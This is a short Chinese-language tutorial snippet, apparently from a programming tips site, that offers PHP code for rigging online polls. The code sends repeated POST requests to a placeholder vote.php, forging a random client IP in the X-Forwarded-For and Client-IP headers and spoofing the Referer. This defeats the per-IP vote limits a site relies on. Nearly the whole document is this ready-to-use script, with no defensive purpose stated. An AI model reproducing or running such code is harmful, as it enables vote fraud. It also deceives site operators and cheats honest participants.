本篇文章是对PHP跨站刷票的实现代码进行了详细的分析介绍，需要的朋友参考下

function curlrequest($url, $postfield,$referer='',$cookie='') { 
 //http://www.jb51.net 
  $ip= rand(100, 244).'.'.rand(100, 244).'.'.rand(100, 244).'.'.rand(100, 244); 
  $ch = curl_init(); 
  curl_setopt($ch, CURLOPT_URL, $url); 
  curl_setopt($ch, CURLOPT_HEADER, 0); 
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
  curl_setopt($ch, CURLOPT_POST, 1); 
  curl_setopt($ch, CURLOPT_POSTFIELDS, $postfield); 
  curl_setopt($ch, CURLOPT_COOKIE, $cookie); 
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip)); //构造IP 
 curl_setopt($ch, CURLOPT_REFERER, $referer); //构造来路 
  $data = curl_exec($ch); //运行curl 
  curl_close($ch); 
  return $data; 
 } 
 $url='http://xxxxx/vote.php'; 
 $ref='http://xxxxx/index.php'; 
 $cookies='';//构造你的cookies 
 $postfield=array( 
  'information_id'=>201204211839164950 
 ); 
 $postfield = http_build_query($postfield); 
 $result = curlrequest($url, $postfield,$ref,$cookies); 
 echo $result;
